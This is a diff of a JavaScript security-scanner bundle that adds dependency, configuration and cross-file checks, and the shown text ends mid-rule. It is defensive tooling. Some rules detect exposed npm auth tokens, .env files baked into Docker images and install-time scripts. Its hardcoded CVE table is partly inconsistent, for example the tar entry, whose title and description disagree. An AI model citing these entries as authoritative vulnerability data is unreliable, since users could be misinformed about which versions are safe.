  var HASH_LIKE_VAR_NAMES = /(?:^|[^a-z])(?:hash|digest|checksum|fingerprint|etag|crc|md5|sha1|sha256|sha512|contenthash|buildid|revision|commit|sri|integrity|cacheKey|fileHash|assetId|versionId)(?:$|[^a-z])/i;
4482
4719
  var HASH_PREFIX_RE = /^(?:sha\d+|md5|crc32|base64|bcrypt|argon2|pbkdf2|blake2b?)[:_]/i;
@@ -4503,10 +4740,11 @@ function scanEntropy(files) {
4503
4740
  if (SKIP_FILENAMES.test(filePath)) continue;
4504
4741
  const basename = filePath.split("/").pop() || "";
4505
4742
  if (SKIP_FILENAMES.test(basename)) continue;
4743
+ if (SKIP_SBOM_FILES.test(filePath) || SKIP_SBOM_FILES.test(basename)) continue;
4506
4744
  if (filePath.includes("node_modules")) continue;
4507
4745
  if (filePath.includes(".min.")) continue;
4508
4746
  if (/pro-rules-bundle|\.bundle\.|\.chunk\./i.test(filePath)) continue;
4509
- if (/(?:\.test\.|\.spec\.|__tests__|__mocks__|fixtures?\/)/i.test(filePath)) continue;
4747
+ if (isEntropyTestPath(filePath)) continue;
4510
4748
  const vendored = isVendoredPath(filePath);
4511
4749
  const dotenv = isDotenvPath(filePath) && !DOTENV_EXAMPLE_RE.test(filePath);
4512
4750
  const lines = content.split("\n");
@@ -4596,6 +4834,778 @@ function scanEntropy(files) {
4596
4834
  return findings;
4597
4835
  }
4598
4836
 
4837
+ // src/engines/dependency-scanner.ts
4838
+ var KNOWN_VULN_NPM = {
4839
+ "lodash": [{
4840
+ minSafe: "4.17.21",
4841
+ cve: "CVE-2021-23337",
4842
+ severity: "critical",
4843
+ title: "Lodash Prototype Pollution",
4844
+ description: "lodash before 4.17.21 is vulnerable to prototype pollution via set, setWith, and zipObjectDeep.",
4845
+ fix: "Upgrade lodash to >= 4.17.21: npm install lodash@latest"
4846
+ }],
4847
+ "axios": [{
4848
+ minSafe: "1.6.0",
4849
+ cve: "CVE-2023-45857",
4850
+ severity: "high",
4851
+ title: "Axios CSRF Vulnerability",
4852
+ description: "axios before 1.6.0 inadvertently leaks XSRF-TOKEN cookie in cross-site requests.",
4853
+ fix: "Upgrade axios to >= 1.6.0: npm install axios@latest"
4854
+ }],
4855
+ "express": [{
4856
+ minSafe: "4.19.2",
4857
+ cve: "CVE-2024-29041",
4858
+ severity: "medium",
4859
+ title: "Express Open Redirect",
4860
+ description: "Express before 4.19.2 is vulnerable to open redirect via crafted URLs.",
4861
+ fix: "Upgrade express to >= 4.19.2: npm install express@latest"
4862
+ }],
4863
+ "jsonwebtoken": [{
4864
+ minSafe: "9.0.0",
4865
+ cve: "CVE-2022-23529",
4866
+ severity: "high",
4867
+ title: "jsonwebtoken Insecure Key Handling",
4868
+ description: "jsonwebtoken before 9.0.0 allows attackers to set secretOrPublicKey to a malicious object.",
4869
+ fix: "Upgrade jsonwebtoken to >= 9.0.0: npm install jsonwebtoken@latest"
4870
+ }],
4871
+ "node-fetch": [{
4872
+ minSafe: "2.6.7",
4873
+ cve: "CVE-2022-0235",
4874
+ severity: "high",
4875
+ title: "node-fetch Header Exposure",
4876
+ description: "node-fetch before 2.6.7 exposes authorization headers on redirect to different origin.",
4877
+ fix: "Upgrade node-fetch to >= 2.6.7 or switch to native fetch (Node 18+)."
4878
+ }],
4879
+ "minimatch": [{
4880
+ minSafe: "3.0.5",
4881
+ cve: "CVE-2022-3517",
4882
+ severity: "high",
4883
+ title: "Minimatch ReDoS",
4884
+ description: "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
4885
+ fix: "Upgrade minimatch to >= 3.0.5: npm install minimatch@latest"
4886
+ }],
4887
+ "moment": [{
4888
+ minSafe: "999.0.0",
4889
+ cve: "N/A",
4890
+ severity: "medium",
4891
+ title: "Moment.js is Deprecated",
4892
+ description: "moment.js is in maintenance mode with known path traversal issues. Consider alternatives.",
4893
+ fix: "Migrate to date-fns, dayjs, or Temporal API. See: https://momentjs.com/docs/#/-project-status/"
4894
+ }],
4895
+ "request": [{
4896
+ minSafe: "999.0.0",
4897
+ cve: "N/A",
4898
+ severity: "medium",
4899
+ title: "Request Package Deprecated",
4900
+ description: "The 'request' package is deprecated and no longer receives security updates.",
4901
+ fix: "Migrate to node-fetch, axios, got, or native fetch (Node 18+)."
4902
+ }],
4903
+ "underscore": [{
4904
+ minSafe: "1.13.6",
4905
+ cve: "CVE-2021-23358",
4906
+ severity: "high",
4907
+ title: "Underscore.js Arbitrary Code Execution",
4908
+ description: "underscore before 1.13.6 allows arbitrary code execution via the template function.",
4909
+ fix: "Upgrade underscore to >= 1.13.6 or migrate to lodash."
4910
+ }],
4911
+ "tar": [{
4912
+ minSafe: "6.2.1",
4913
+ cve: "CVE-2024-28863",
4914
+ severity: "high",
4915
+ title: "Tar Path Traversal",
4916
+ description: "tar before 6.2.1 is vulnerable to denial of service via crafted archives.",
4917
+ fix: "Upgrade tar to >= 6.2.1: npm install tar@latest"
4918
+ }],
4919
+ "semver": [{
4920
+ minSafe: "7.5.2",
4921
+ cve: "CVE-2022-25883",
4922
+ severity: "medium",
4923
+ title: "Semver ReDoS",
4924
+ description: "semver before 7.5.2 is vulnerable to Regular Expression Denial of Service.",
4925
+ fix: "Upgrade semver to >= 7.5.2: npm install semver@latest"
4926
+ }],
4927
+ "xml2js": [{
4928
+ minSafe: "0.5.0",
4929
+ cve: "CVE-2023-0842",
4930
+ severity: "medium",
4931
+ title: "xml2js Prototype Pollution",
4932
+ description: "xml2js before 0.5.0 is vulnerable to prototype pollution when parsing XML.",
4933
+ fix: "Upgrade xml2js to >= 0.5.0: npm install xml2js@latest"
4934
+ }]
4935
+ };
4936
+ var KNOWN_VULN_PYTHON = {
4937
+ "django": [{
4938
+ minSafe: "4.2.11",
4939
+ cve: "CVE-2024-27351",
4940
+ severity: "high",
4941
+ title: "Django ReDoS in Truncator",
4942
+ description: "Django before 4.2.11 is vulnerable to Regular Expression Denial of Service.",
4943
+ fix: "Upgrade Django to >= 4.2.11: pip install Django --upgrade"
4944
+ }],
4945
+ "flask": [{
4946
+ minSafe: "2.3.2",
4947
+ cve: "CVE-2023-30861",
4948
+ severity: "high",
4949
+ title: "Flask Session Cookie Vulnerability",
4950
+ description: "Flask before 2.3.2 may set permanent session cookies on redirect responses.",
4951
+ fix: "Upgrade Flask to >= 2.3.2: pip install Flask --upgrade"
4952
+ }],
4953
+ "pillow": [{
4954
+ minSafe: "10.2.0",
4955
+ cve: "CVE-2023-50447",
4956
+ severity: "critical",
4957
+ title: "Pillow Arbitrary Code Execution",
4958
+ description: "Pillow before 10.2.0 is vulnerable to arbitrary code execution via crafted images.",
4959
+ fix: "Upgrade Pillow to >= 10.2.0: pip install Pillow --upgrade"
4960
+ }],
4961
+ "requests": [{
4962
+ minSafe: "2.31.0",
4963
+ cve: "CVE-2023-32681",
4964
+ severity: "medium",
4965
+ title: "Requests Proxy Header Leak",
4966
+ description: "requests before 2.31.0 leaks Proxy-Authorization headers to destination servers.",
4967
+ fix: "Upgrade requests to >= 2.31.0: pip install requests --upgrade"
4968
+ }],
4969
+ "pyyaml": [{
4970
+ minSafe: "6.0.1",
4971
+ cve: "CVE-2022-41316",
4972
+ severity: "high",
4973
+ title: "PyYAML Unsafe Loading",
4974
+ description: "PyYAML has known deserialization vulnerabilities. Always use yaml.safe_load().",
4975
+ fix: "Upgrade PyYAML to >= 6.0.1 and use yaml.safe_load() instead of yaml.load()."
4976
+ }],
4977
+ "jinja2": [{
4978
+ minSafe: "3.1.3",
4979
+ cve: "CVE-2024-22195",
4980
+ severity: "medium",
4981
+ title: "Jinja2 XSS Vulnerability",
4982
+ description: "Jinja2 before 3.1.3 is vulnerable to XSS via xmlattr filter.",
4983
+ fix: "Upgrade Jinja2 to >= 3.1.3: pip install Jinja2 --upgrade"
4984
+ }]
4985
+ };
4986
+ var DEP_PATTERNS = [
4987
+ {
4988
+ id: "DEP001",
4989
+ title: "Wildcard Dependency Version",
4990
+ severity: "high",
4991
+ description: "Using '*' or 'latest' as a dependency version allows any version to be installed, including malicious ones.",
4992
+ fix: "Pin dependency versions: use exact (1.2.3) or caret (^1.2.3) versions, never '*' or 'latest'.",
4993
+ test: (content, filePath) => filePath.endsWith("package.json") && /["']\*["']|["']latest["']/.test(content)
4994
+ },
4995
+ {
4996
+ id: "DEP002",
4997
+ title: "Git Dependency Without Commit Hash",
4998
+ severity: "medium",
4999
+ description: "Git dependencies without a pinned commit hash can be replaced with malicious code.",
5000
+ fix: "Pin git dependencies to a specific commit: git+https://github.com/user/repo#commit-hash",
5001
+ test: (content, filePath) => filePath.endsWith("package.json") && /git\+https?:\/\/[^#"]+["']/.test(content)
5002
+ },
5003
+ {
5004
+ id: "DEP003",
5005
+ title: "Postinstall Script in Package",
5006
+ severity: "medium",
5007
+ description: "postinstall scripts run automatically after npm install and can execute arbitrary code.",
5008
+ fix: "Audit postinstall scripts carefully. Use --ignore-scripts flag for untrusted packages.",
5009
+ test: (content, filePath) => filePath.endsWith("package.json") && /"postinstall"\s*:/.test(content)
5010
+ },
5011
+ {
5012
+ id: "DEP004",
5013
+ title: "No Package Lock File",
5014
+ severity: "medium",
5015
+ description: "Without a lockfile, npm install may resolve different versions on different machines.",
5016
+ fix: "Commit your lockfile (package-lock.json, pnpm-lock.yaml, or yarn.lock).",
5017
+ test: (content, filePath) => filePath.endsWith(".gitignore") && /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/.test(content)
5018
+ },
5019
+ {
5020
+ id: "DEP005",
5021
+ title: "HTTP Registry URL",
5022
+ severity: "high",
5023
+ description: "Using HTTP (not HTTPS) for npm registry allows man-in-the-middle attacks on package downloads.",
5024
+ fix: "Use HTTPS for registry: registry=https://registry.npmjs.org/",
5025
+ test: (content, filePath) => filePath.endsWith(".npmrc") && /registry\s*=\s*http:\/\//.test(content)
5026
+ }
5027
+ ];
5028
+ function compareVersions(v1, v2) {
5029
+ const parts1 = v1.replace(/^[^0-9]*/, "").split(".").map(Number);
5030
+ const parts2 = v2.replace(/^[^0-9]*/, "").split(".").map(Number);
5031
+ for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
5032
+ const a = parts1[i] || 0;
5033
+ const b = parts2[i] || 0;
5034
+ if (a < b) return -1;
5035
+ if (a > b) return 1;
5036
+ }
5037
+ return 0;
5038
+ }
5039
+ function getSnippet3(content, line) {
5040
+ const lines = content.split("\n");
5041
+ const start = Math.max(0, line - 2);
5042
+ const end = Math.min(lines.length, line + 2);
5043
+ return lines.slice(start, end).map((l, i) => {
5044
+ const lineNum = start + i + 1;
5045
+ const prefix = lineNum === line ? ">" : " ";
5046
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
5047
+ }).join("\n");
5048
+ }
5049
+ function scanDependencies(files) {
5050
+ const findings = [];
5051
+ for (const { path: filePath, content } of files) {
5052
+ if (filePath.endsWith("package.json") && !filePath.includes("node_modules")) {
5053
+ try {
5054
+ const pkg = JSON.parse(content);
5055
+ const allDeps = { ...pkg.dependencies, ...pkg.devDependencies };
5056
+ for (const [name, version] of Object.entries(allDeps)) {
5057
+ const vulns = KNOWN_VULN_NPM[name];
5058
+ if (!vulns) continue;
5059
+ const versionStr = String(version).replace(/^[\^~>=<]*/g, "");
5060
+ for (const vuln of vulns) {
5061
+ if (compareVersions(versionStr, vuln.minSafe) < 0) {
5062
+ const line = content.split("\n").findIndex((l) => l.includes(`"${name}"`)) + 1;
5063
+ findings.push({
5064
+ id: `${vuln.cve}-${filePath}:${line}`,
5065
+ rule: vuln.cve,
5066
+ severity: vuln.severity,
5067
+ title: vuln.title,
5068
+ description: vuln.description,
5069
+ file: filePath,
5070
+ line,
5071
+ snippet: getSnippet3(content, line),
5072
+ fix: vuln.fix,
5073
+ category: "Dependencies",
5074
+ source: "custom",
5075
+ owasp: "A06:2021",
5076
+ cwe: "CWE-1395"
5077
+ });
5078
+ }
5079
+ }
5080
+ }
5081
+ } catch {
5082
+ }
5083
+ }
5084
+ if (filePath.match(/requirements.*\.txt$/i)) {
5085
+ const lines = content.split("\n");
5086
+ for (let i = 0; i < lines.length; i++) {
5087
+ const line = lines[i].trim();
5088
+ const match = line.match(/^([a-zA-Z0-9_-]+)(?:[=<>!~]+(.+))?/);
5089
+ if (!match) continue;
5090
+ const name = match[1].toLowerCase();
5091
+ const version = match[2] || "0.0.0";
5092
+ const vulns = KNOWN_VULN_PYTHON[name];
5093
+ if (!vulns) continue;
5094
+ for (const vuln of vulns) {
5095
+ if (compareVersions(version, vuln.minSafe) < 0) {
5096
+ findings.push({
5097
+ id: `${vuln.cve}-${filePath}:${i + 1}`,
5098
+ rule: vuln.cve,
5099
+ severity: vuln.severity,
5100
+ title: vuln.title,
5101
+ description: vuln.description,
5102
+ file: filePath,
5103
+ line: i + 1,
5104
+ snippet: getSnippet3(content, i + 1),
5105
+ fix: vuln.fix,
5106
+ category: "Dependencies",
5107
+ source: "custom",
5108
+ owasp: "A06:2021",
5109
+ cwe: "CWE-1395"
5110
+ });
5111
+ }
5112
+ }
5113
+ }
5114
+ }
5115
+ for (const pattern of DEP_PATTERNS) {
5116
+ if (pattern.test(content, filePath)) {
5117
+ findings.push({
5118
+ id: `${pattern.id}-${filePath}:1`,
5119
+ rule: pattern.id,
5120
+ severity: pattern.severity,
5121
+ title: pattern.title,
5122
+ description: pattern.description,
5123
+ file: filePath,
5124
+ line: 1,
5125
+ snippet: getSnippet3(content, 1),
5126
+ fix: pattern.fix,
5127
+ category: "Dependencies",
5128
+ source: "custom",
5129
+ owasp: "A06:2021",
5130
+ cwe: "CWE-1395"
5131
+ });
5132
+ }
5133
+ }
5134
+ }
5135
+ return findings;
5136
+ }
5137
+
5138
+ // src/engines/config-analyzer.ts
5139
+ function getSnippet4(content, line) {
5140
+ const lines = content.split("\n");
5141
+ const start = Math.max(0, line - 2);
5142
+ const end = Math.min(lines.length, line + 2);
5143
+ return lines.slice(start, end).map((l, i) => {
5144
+ const lineNum = start + i + 1;
5145
+ const prefix = lineNum === line ? ">" : " ";
5146
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
5147
+ }).join("\n");
5148
+ }
5149
+ var CONFIG_CHECKS = [
5150
+ // ── TypeScript Config ──
5151
+ {
5152
+ id: "CFG001",
5153
+ title: "TypeScript Strict Mode Disabled",
5154
+ severity: "medium",
5155
+ category: "Configuration",
5156
+ description: "TypeScript without strict mode misses type errors that can cause runtime bugs and security issues.",
5157
+ fix: 'Enable strict mode in tsconfig.json: "strict": true',
5158
+ owasp: "A05:2021",
5159
+ cwe: "CWE-710",
5160
+ filePattern: /tsconfig\.json$/,
5161
+ check(content) {
5162
+ try {
5163
+ if (/"strict"\s*:\s*false/.test(content)) {
5164
+ const line = content.split("\n").findIndex((l) => /strict/.test(l)) + 1;
5165
+ return { line, snippet: getSnippet4(content, line) };
5166
+ }
5167
+ if (!/"strict"\s*:\s*true/.test(content) && /"compilerOptions"/.test(content)) {
5168
+ return { line: 1, snippet: getSnippet4(content, 1) };
5169
+ }
5170
+ } catch {
5171
+ }
5172
+ return null;
5173
+ }
5174
+ },
5175
+ {
5176
+ id: "CFG002",
5177
+ title: "TypeScript allowJs Without checkJs",
5178
+ severity: "low",
5179
+ category: "Configuration",
5180
+ description: "allowJs without checkJs means JavaScript files bypass type checking entirely.",
5181
+ fix: 'Add "checkJs": true alongside "allowJs": true in tsconfig.json.',
5182
+ owasp: "A05:2021",
5183
+ cwe: "CWE-710",
5184
+ filePattern: /tsconfig\.json$/,
5185
+ check(content) {
5186
+ if (/"allowJs"\s*:\s*true/.test(content) && !/"checkJs"\s*:\s*true/.test(content)) {
5187
+ const line = content.split("\n").findIndex((l) => /allowJs/.test(l)) + 1;
5188
+ return { line, snippet: getSnippet4(content, line) };
5189
+ }
5190
+ return null;
5191
+ }
5192
+ },
5193
+ // ── Next.js Config ──
5194
+ {
5195
+ id: "CFG003",
5196
+ title: "Next.js Missing Security Headers",
5197
+ severity: "medium",
5198
+ category: "Configuration",
5199
+ description: "Next.js app without security headers in next.config is missing important protections.",
5200
+ fix: "Add a headers() function to next.config.js with X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Content-Security-Policy.",
5201
+ owasp: "A05:2021",
5202
+ cwe: "CWE-693",
5203
+ filePattern: /next\.config\.(js|mjs|ts)$/,
5204
+ check(content) {
5205
+ if (!/headers\s*\(/.test(content) && !/securityHeaders|security-headers/.test(content)) {
5206
+ return { line: 1, snippet: getSnippet4(content, 1) };
5207
+ }
5208
+ return null;
5209
+ }
5210
+ },
5211
+ {
5212
+ id: "CFG004",
5213
+ title: "Next.js Powered-By Header Not Disabled",
5214
+ severity: "low",
5215
+ category: "Configuration",
5216
+ description: "Next.js exposes X-Powered-By header by default, revealing your tech stack.",
5217
+ fix: "Add poweredByHeader: false to next.config.js.",
5218
+ owasp: "A05:2021",
5219
+ cwe: "CWE-200",
5220
+ filePattern: /next\.config\.(js|mjs|ts)$/,
5221
+ check(content) {
5222
+ if (!/poweredByHeader\s*:\s*false/.test(content)) {
5223
+ return { line: 1, snippet: getSnippet4(content, 1) };
5224
+ }
5225
+ return null;
5226
+ }
5227
+ },
5228
+ // ── Dockerfile ──
5229
+ {
5230
+ id: "CFG005",
5231
+ title: "Dockerfile Using Latest Tag",
5232
+ severity: "medium",
5233
+ category: "Configuration",
5234
+ description: "Using :latest tag in FROM makes builds non-reproducible and may pull vulnerable images.",
5235
+ fix: "Pin to a specific version: FROM node:20-alpine instead of FROM node:latest.",
5236
+ owasp: "A06:2021",
5237
+ cwe: "CWE-1395",
5238
+ filePattern: /Dockerfile$/i,
5239
+ check(content) {
5240
+ const lines = content.split("\n");
5241
+ for (let i = 0; i < lines.length; i++) {
5242
+ if (/^FROM\s+\S+:latest/i.test(lines[i].trim()) || /^FROM\s+\w+\s*$/i.test(lines[i].trim())) {
5243
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5244
+ }
5245
+ }
5246
+ return null;
5247
+ }
5248
+ },
5249
+ {
5250
+ id: "CFG006",
5251
+ title: "Dockerfile Not Using Multi-Stage Build",
5252
+ severity: "low",
5253
+ category: "Configuration",
5254
+ description: "Single-stage Docker builds include build tools in the final image, increasing attack surface.",
5255
+ fix: "Use multi-stage builds: first stage for building, second stage (FROM alpine) for running.",
5256
+ owasp: "A05:2021",
5257
+ cwe: "CWE-1059",
5258
+ filePattern: /Dockerfile$/i,
5259
+ check(content) {
5260
+ const fromCount = (content.match(/^FROM\s/gmi) || []).length;
5261
+ if (fromCount <= 1 && content.includes("npm") && content.length > 200) {
5262
+ return { line: 1, snippet: getSnippet4(content, 1) };
5263
+ }
5264
+ return null;
5265
+ }
5266
+ },
5267
+ {
5268
+ id: "CFG007",
5269
+ title: "Dockerfile Copies .env File",
5270
+ severity: "critical",
5271
+ category: "Configuration",
5272
+ description: "COPY that includes .env files bakes secrets into the Docker image layer.",
5273
+ fix: "Add .env to .dockerignore. Use build args or runtime env vars instead.",
5274
+ owasp: "A02:2021",
5275
+ cwe: "CWE-312",
5276
+ filePattern: /Dockerfile$/i,
5277
+ check(content) {
5278
+ const lines = content.split("\n");
5279
+ for (let i = 0; i < lines.length; i++) {
5280
+ if (/^COPY\s.*\.env\b/i.test(lines[i].trim())) {
5281
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5282
+ }
5283
+ }
5284
+ return null;
5285
+ }
5286
+ },
5287
+ // ── GitHub Actions ──
5288
+ {
5289
+ id: "CFG008",
5290
+ title: "GitHub Actions with Broad Permissions",
5291
+ severity: "high",
5292
+ category: "Configuration",
5293
+ description: "GitHub Actions with write-all or broad permissions can be exploited if a dependency is compromised.",
5294
+ fix: "Use minimal permissions: permissions: { contents: read }. Only grant what's needed.",
5295
+ owasp: "A01:2021",
5296
+ cwe: "CWE-250",
5297
+ filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
5298
+ check(content) {
5299
+ const lines = content.split("\n");
5300
+ for (let i = 0; i < lines.length; i++) {
5301
+ if (/permissions\s*:\s*write-all/i.test(lines[i])) {
5302
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5303
+ }
5304
+ }
5305
+ return null;
5306
+ }
5307
+ },
5308
+ {
5309
+ id: "CFG009",
5310
+ title: "GitHub Actions Using Unpinned Action",
5311
+ severity: "medium",
5312
+ category: "Configuration",
5313
+ description: "Using actions with @main or @master instead of a pinned SHA allows supply chain attacks.",
5314
+ fix: "Pin actions to a specific SHA: uses: actions/checkout@abc123... instead of @main.",
5315
+ owasp: "A06:2021",
5316
+ cwe: "CWE-1395",
5317
+ filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
5318
+ check(content) {
5319
+ const lines = content.split("\n");
5320
+ for (let i = 0; i < lines.length; i++) {
5321
+ if (/uses:\s*\S+@(?:main|master|dev|latest)\s*$/i.test(lines[i])) {
5322
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5323
+ }
5324
+ }
5325
+ return null;
5326
+ }
5327
+ },
5328
+ // ── Vite Config ──
5329
+ {
5330
+ id: "CFG010",
5331
+ title: "Vite Server Open to Network",
5332
+ severity: "medium",
5333
+ category: "Configuration",
5334
+ description: "Vite dev server with host: true exposes it to the entire network.",
5335
+ fix: "Remove host: true or use host: '127.0.0.1' for local-only access during development.",
5336
+ owasp: "A05:2021",
5337
+ cwe: "CWE-668",
5338
+ filePattern: /vite\.config\.(js|ts|mjs)$/,
5339
+ check(content) {
5340
+ const lines = content.split("\n");
5341
+ for (let i = 0; i < lines.length; i++) {
5342
+ if (/host\s*:\s*true/.test(lines[i]) || /host\s*:\s*['"]0\.0\.0\.0['"]/.test(lines[i])) {
5343
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5344
+ }
5345
+ }
5346
+ return null;
5347
+ }
5348
+ },
5349
+ // ── .npmrc ──
5350
+ {
5351
+ id: "CFG011",
5352
+ title: "NPM Auth Token in .npmrc",
5353
+ severity: "critical",
5354
+ category: "Secrets",
5355
+ description: "NPM auth tokens in committed .npmrc files expose registry credentials.",
5356
+ fix: "Remove the token and add .npmrc to .gitignore. Use NPM_TOKEN env var instead.",
5357
+ owasp: "A02:2021",
5358
+ cwe: "CWE-798",
5359
+ filePattern: /\.npmrc$/,
5360
+ check(content) {
5361
+ const lines = content.split("\n");
5362
+ for (let i = 0; i < lines.length; i++) {
5363
+ const line = lines[i];
5364
+ const registry = line.indexOf("//registry");
5365
+ if (line.includes("_authToken") || line.includes("_auth=") || registry >= 0 && line.includes(":_password", registry + 10)) {
5366
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5367
+ }
5368
+ }
5369
+ return null;
5370
+ }
5371
+ },
5372
+ // ── ESLint Config ──
5373
+ {
5374
+ id: "CFG012",
5375
+ title: "Security ESLint Rules Disabled",
5376
+ severity: "medium",
5377
+ category: "Configuration",
5378
+ description: "Disabling security-related ESLint rules removes an important safety net.",
5379
+ fix: "Re-enable security rules or use eslint-plugin-security for automated checks.",
5380
+ owasp: "A05:2021",
5381
+ cwe: "CWE-710",
5382
+ filePattern: /\.eslint(rc)?(\.(js|json|yml|yaml|cjs|mjs))?$/,
5383
+ check(content) {
5384
+ const lines = content.split("\n");
5385
+ for (let i = 0; i < lines.length; i++) {
5386
+ if (/no-eval|no-implied-eval|no-new-func|no-script-url|security\/detect/i.test(lines[i]) && /["']off["']|:\s*0/.test(lines[i])) {
5387
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5388
+ }
5389
+ }
5390
+ return null;
5391
+ }
5392
+ }
5393
+ ];
5394
+ function scanConfigs(files) {
5395
+ const findings = [];
5396
+ for (const { path: filePath, content } of files) {
5397
+ for (const check of CONFIG_CHECKS) {
5398
+ if (!check.filePattern.test(filePath)) continue;
5399
+ const result = check.check(content, filePath);
5400
+ if (result) {
5401
+ findings.push({
5402
+ id: `${check.id}-${filePath}:${result.line}`,
5403
+ rule: check.id,
5404
+ severity: check.severity,
5405
+ title: check.title,
5406
+ description: check.description,
5407
+ file: filePath,
5408
+ line: result.line,
5409
+ snippet: result.snippet,
5410
+ fix: check.fix,
5411
+ category: check.category,
5412
+ source: "custom",
5413
+ owasp: check.owasp,
5414
+ cwe: check.cwe
5415
+ });
5416
+ }
5417
+ }
5418
+ }
5419
+ return findings;
5420
+ }
5421
+
5422
+ // src/engines/multi-file-analyzer.ts
5423
+ function getSnippet5(content, line) {
5424
+ const lines = content.split("\n");
5425
+ const start = Math.max(0, line - 2);
5426
+ const end = Math.min(lines.length, line + 2);
5427
+ return lines.slice(start, end).map((l, i) => {
5428
+ const lineNum = start + i + 1;
5429
+ const prefix = lineNum === line ? ">" : " ";
5430
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
5431
+ }).join("\n");
5432
+ }
5433
+ function scanMultiFile(files) {
5434
+ const findings = [];
5435
+ const fileMap = /* @__PURE__ */ new Map();
5436
+ for (const f of files) {
5437
+ fileMap.set(f.path, f.content);
5438
+ }
5439
+ const hasGlobalMiddleware = files.some(
5440
+ (f) => /middleware\.(ts|js)$/.test(f.path) && /(?:auth|session|clerk|nextauth|getToken)/i.test(f.content)
5441
+ );
5442
+ const hasAuthModule = files.some(
5443
+ (f) => /(?:auth|middleware)\.(ts|js)$/i.test(f.path) && /(?:requireAuth|isAuthenticated|authenticate|verify)/i.test(f.content)
5444
+ );
5445
+ for (const f of files) {
5446
+ if (!/(?:\/api\/|routes?\/|controllers?\/)/i.test(f.path)) continue;
5447
+ if (/middleware/i.test(f.path)) continue;
5448
+ if (/(?:health|status|ping|ready|live)\.(?:ts|js)/i.test(f.path)) continue;
5449
+ const hasLocalAuth = /(?:requireAuth|isAuthenticated|authenticate|verify|getAuth|getSession|getServerSession|withAuth|jwt\.verify|clerk)/i.test(f.content);
5450
+ const hasAuthImport = f.content.split("\n").some((line) => {
5451
+ const at = line.search(/import/i);
5452
+ return at >= 0 && /(?:auth|session|middleware|verify|clerk)/i.test(line.slice(at + 6));
5453
+ });
5454
+ if (!hasLocalAuth && !hasAuthImport && !hasGlobalMiddleware) {
5455
+ if (/\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(f.content)) {
5456
+ const line = f.content.split("\n").findIndex(
5457
+ (l) => /\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(l)
5458
+ ) + 1;
5459
+ findings.push({
5460
+ id: `MFA001-${f.path}:${line}`,
5461
+ rule: "MFA001",
5462
+ severity: "high",
5463
+ title: "API Route Without Auth (Cross-File Check)",
5464
+ description: "This API route file has no authentication checks and no auth middleware was detected in the project.",
5465
+ file: f.path,
5466
+ line,
5467
+ snippet: getSnippet5(f.content, line),
5468
+ fix: "Add authentication middleware or import your auth module. If using Next.js, create middleware.ts in your app root.",
5469
+ category: "Authentication",
5470
+ source: "custom",
5471
+ owasp: "A01:2021",
5472
+ cwe: "CWE-862"
5473
+ });
5474
+ }
5475
+ }
5476
+ }
5477
+ const hasEnvFile = files.some((f) => /^\.env$|\/\.env$/.test(f.path));
5478
+ const gitignore = files.find((f) => f.path.endsWith(".gitignore"));
5479
+ if (hasEnvFile && gitignore) {
5480
+ if (!/^\.env$/m.test(gitignore.content) && !/^\*\.env$/m.test(gitignore.content)) {
5481
+ findings.push({
5482
+ id: "MFA002-.gitignore:1",
5483
+ rule: "MFA002",
5484
+ severity: "critical",
5485
+ title: ".env File Not in .gitignore",
5486
+ description: "An .env file exists in the project but .gitignore doesn't exclude it. Secrets may be committed.",
5487
+ file: ".gitignore",
5488
+ line: 1,
5489
+ snippet: getSnippet5(gitignore.content, 1),
5490
+ fix: "Add .env to .gitignore: echo '.env' >> .gitignore",
5491
+ category: "Secrets",
5492
+ source: "custom",
5493
+ owasp: "A02:2021",
5494
+ cwe: "CWE-312"
5495
+ });
5496
+ }
5497
+ }
5498
+ const dbFiles = files.filter(
5499
+ (f) => /(?:db|database|prisma|drizzle|sequelize|mongoose|knex)\.(ts|js)$/i.test(f.path) || /(?:createClient|createPool|createConnection|PrismaClient)/i.test(f.content)
5500
+ );
5501
+ for (const f of dbFiles) {
5502
+ if (/new PrismaClient/i.test(f.content)) {
5503
+ if (!/globalThis|global\./i.test(f.content)) {
5504
+ const line = f.content.split("\n").findIndex((l) => /new PrismaClient/.test(l)) + 1;
5505
+ findings.push({
5506
+ id: `MFA003-${f.path}:${line}`,
5507
+ rule: "MFA003",
5508
+ severity: "medium",
5509
+ title: "Database Client Not Cached (Connection Leak)",
5510
+ description: "Creating a new PrismaClient on every request leaks database connections. Use a singleton pattern.",
5511
+ file: f.path,
5512
+ line,
5513
+ snippet: getSnippet5(f.content, line),
5514
+ fix: "Use singleton: globalThis.prisma = globalThis.prisma || new PrismaClient(). This prevents connection exhaustion in serverless.",
5515
+ category: "Configuration",
5516
+ source: "custom",
5517
+ owasp: "A05:2021",
5518
+ cwe: "CWE-400"
5519
+ });
5520
+ }
5521
+ }
5522
+ }
5523
+ for (const f of files) {
5524
+ if (!/(?:server|app|index|main)\.(ts|js)$/i.test(f.path)) continue;
5525
+ const corsMatch = f.content.match(/origin\s*:\s*["'`](https?:\/\/[^"'`]+)["'`]/);
5526
+ if (corsMatch) {
5527
+ const corsOrigin = corsMatch[1];
5528
+ if (corsOrigin.includes("localhost") || corsOrigin.includes("127.0.0.1")) {
5529
+ const line = f.content.split("\n").findIndex((l) => l.includes(corsOrigin)) + 1;
5530
+ findings.push({
5531
+ id: `MFA004-${f.path}:${line}`,
5532
+ rule: "MFA004",
5533
+ severity: "medium",
5534
+ title: "CORS Origin Set to Localhost",
5535
+ description: "CORS origin is hardcoded to localhost. This will block requests from your production frontend.",
5536
+ file: f.path,
